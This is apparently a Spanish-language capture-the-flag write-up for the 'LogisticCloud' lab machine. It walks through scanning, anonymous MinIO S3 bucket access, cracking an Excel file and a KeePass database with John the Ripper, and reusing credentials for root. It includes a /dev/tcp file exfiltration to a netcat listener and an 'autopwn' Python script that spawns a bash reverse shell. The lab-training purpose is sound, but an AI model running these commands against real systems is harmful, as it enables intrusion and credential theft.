> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/logisticcloud-write-up.md).

# LogisticCloud write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/qzPIIunOeGNikmpPKon1" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/6Kom36FkVslhRpbNZQdR" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/D0hJg2JRKso7M4Quqr2I" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 22 (SSH), el 80 (HTTP), el 9000 (HTTP) y el 9001 (HTTP) están abiertos. Así que ingresamos la IP de la máquina víctima junto al puerto 9001.

<figure><img src="/files/RiVnZAfQec6KZ9S44rbt" alt=""><figcaption></figcaption></figure>

Esto indica que se está usando MinIO, un servidor de almacenamiento de almacenamiento de objetos en la nube compatible con Amazon S3. El puerto **9000** es el puerto **por defecto** donde MinIO expone su **API compatible con S3**.

Ahora lo que haremos será ingresar la IP de la máquina víctima en el navegador.

<figure><img src="/files/yatqTSTsfWXc4CwBJXwu" alt=""><figcaption></figcaption></figure>

En un principio no encontramos nada interesante, pero si inspeccionamos el código fuente observaremos lo siguiente:

<figure><img src="/files/iGtNEMz5MCfAkeIMlUK7" alt=""><figcaption></figcaption></figure>

Esto podría estar indicando que el nombre del **bucket** es `huguelogistics-data`, en un servidor de objetos como **MinIO** un **bucket** es el contenedor principal o unidad raíz donde se almacenan los objetos (archivos). Los **buckets** funcionan como espacios lógicos independientes donde los objetos se almacenan con nombres (claves). Como ya habíamos dicho, MinIO es compatible con la Api de Amazon llamada S3, lo cual permite interactuar con los objetos de un bucket. Así que lo que haremos ahora será usar **aws** para hacer una petición para pedir la política del bucket.

```bash
aws --no-sign-request --endpoint-url http://172.17.0.2:9000 s3api get-bucket-policy --bucket huguelogistics-data
```

<figure><img src="/files/jcZBgnolWoYYrzjHYDST" alt=""><figcaption></figcaption></figure>

Esto indica que podemos descargar y listar los objetos del bucket `huguelogistics-data`, así que ahora ejecutaremos lo siguiente para listar los objetos del bucket:

```bash
aws --no-sign-request --endpoint-url http://172.17.0.2:9000 s3api list-objects --bucket huguelogistics-data
```

<figure><img src="/files/7FnDVOhbCfmGWba8mgf6" alt=""><figcaption></figcaption></figure>

Esto indica que dentro del bucket `huguelogistics-data` se encuentra el objeto `backup.xlsx`, así que vamos a descargarlo en nuestra máquina con el siguiente comando:

```bash
aws --no-sign-request --endpoint-url http://172.17.0.2:9000 s3api get-object --key backup.xlsx --bucket huguelogistics-data backup.xlsx
```

<figure><img src="/files/QOJURvvXn1wOaWtmG1zL" alt=""><figcaption></figcaption></figure>

Ahora que ya tenemos el archivo `backup.xlsx` en nuestra máquina, utilizaremos el programa llamado `LibreOffice` para abrirlo.

Lo descargamos primero:

```bash
sudo apt update
sudo apt install --reinstall libreoffice
```

Y ahora ejecutamos:

```bash
libreoffice backup.xlsx
```

<figure><img src="/files/6P8IRMeRc7z8fLjtbAYX" alt=""><figcaption></figcaption></figure>

Sin embargo al intentar abrirlo pide una contraseña, por lo que usaremos la herramienta llamada **office2john** para obtener el hash de la contraseña ejecutando lo siguiente:

```bash
office2john backup.xlsx > hash
```

Y ahora solo tendríamos que realizar un ataque de fuerza bruta con ayuda de **John The Ripper** de la siguiente manera:

```bash
john --wordlist=../rockyou.txt hash
```

<figure><img src="/files/eXb4ZVZknVTpfDCoHkb8" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña es `password88`, así abriremos el archivo `backup.xlsx`.

```bash
libreoffice backup.xlsx
```

<figure><img src="/files/q4ZagX4QxJez6aM47llb" alt=""><figcaption></figcaption></figure>

Observamos varios usuarios junto con sus contraseñas, así que las usaremos para iniciar sesión en el login que se encuentra en la ruta <http://172.17.0.2>. De manera que si iniciamos sesión con la credencial `prudencia.de.ferrera:)4UJM)JGab`, contemplaremos lo siguiente:

<figure><img src="/files/NEJ2g2EfUDfW2Knjxyjr" alt=""><figcaption></figcaption></figure>

Si hacemos clic en bandeja de entrada veremos lo siguiente:

<figure><img src="/files/k3dU6WHO6UPfBwn504Px" alt=""><figcaption></figcaption></figure>

Así que usaremos las credenciales `prudencia-de-ferrera:PuT3r3stA#SH` para iniciar sesión por el servicio SSH.

<figure><img src="/files/wiA4XBdK8e6D7xqKtRsO" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios**

Una vez dentro de la máquina víctima encontramos el archivo `/etc/keepass/credentialsDatabase.kdb`, el cual es una base de datos de contraseñas, así que lo pasaremos a nuestra máquina de la siguiente manera:

En nuestra máquina:

```bash
nc -nlvvp 4444 > credentialsDatabase.kdb
```

En la máquina victima:

```bash
cat /etc/keepass/credentialsDatabase.kdb > /dev/tcp/172.17.0.1/4444
```

<figure><img src="/files/yFqK3Ip6RWZR9KIsaXpj" alt=""><figcaption></figcaption></figure>

Ahora para abrir la base de datos necesitaremos una contraseña, así que usaremos la herramienta llamada `keepass2john` para obtener el hash de la contraseña.

```bash
keepass2john credentialsDatabase.kdb > hash
```

Ahora, realizaremos un ataque de diccionario sobre el hash obtenido usando **John The Ripper**.

```bash
john --wordlist=../rockyou.txt hash
```

<figure><img src="/files/iIIfM8ph4fKDpTF1N3PY" alt=""><figcaption></figcaption></figure>

Esto indica que la contraseña de la base de datos es `EMINEM`. Así que ahora la abriremos con la herramienta llamada **keepassxc**.

```bash
 keepassxc credentialsDatabase.kdb
```

Como se trata de una versión antigua, tendremos que importarla a una versión más moderna, pare ello nos vamos a `Bases de datos` y luego hacemos clic en importar. Seleccionamos la opción de **Base de datos KeePass 1**, seleccionamos el archivo, introducimos la contraseña y hacemos clic en continuar.

<figure><img src="/files/2ZIlAi6YIhI1zE2Qt7no" alt=""><figcaption></figcaption></figure>

Ahora solo quedaría poner un nombre y una contraseña nueva y ya podríamos acceder a la base de datos.

<figure><img src="/files/MgjHQi01KCEghUymzc7T" alt=""><figcaption></figcaption></figure>

Si copiamos la contraseña del usuario `pedro`, que es `RMeEdDPKbgFWmPnQHVC8`, y la utilizamos para iniciar sesión como el usuario `root`, observaremos que el acceso se realiza correctamente, lo cual indica que ambos usuarios comparten la misma contraseña.

<figure><img src="/files/DT5HfzqlEKwjaDFpEjzQ" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```python
import os
import time
import subprocess



def crear_script_expect():

    print("[+] Creando script1.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 1

spawn zsh

expect "$ "
send "ssh prudencia-de-ferrera@172.17.0.2\r"

expect "$ "
send "PuT3r3stA#SH\r"

expect "$ "
send "su\r"

expect "$ "
send "RMeEdDPKbgFWmPnQHVC8\r"

expect "$ "
send "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1\r"

interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script1.exp")

def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

    return win_id


def main():

    crear_script_expect()

    time.sleep(0.1)

    win_id = iniciar_escucha().decode('utf-8')

    time.sleep(0.1)

    os.system(f"nc -nlvvp 4444")

    os.system(f"rm script1.exp ; xdotool windowclose {win_id}")

if __name__ == "__main__":
    main()
```
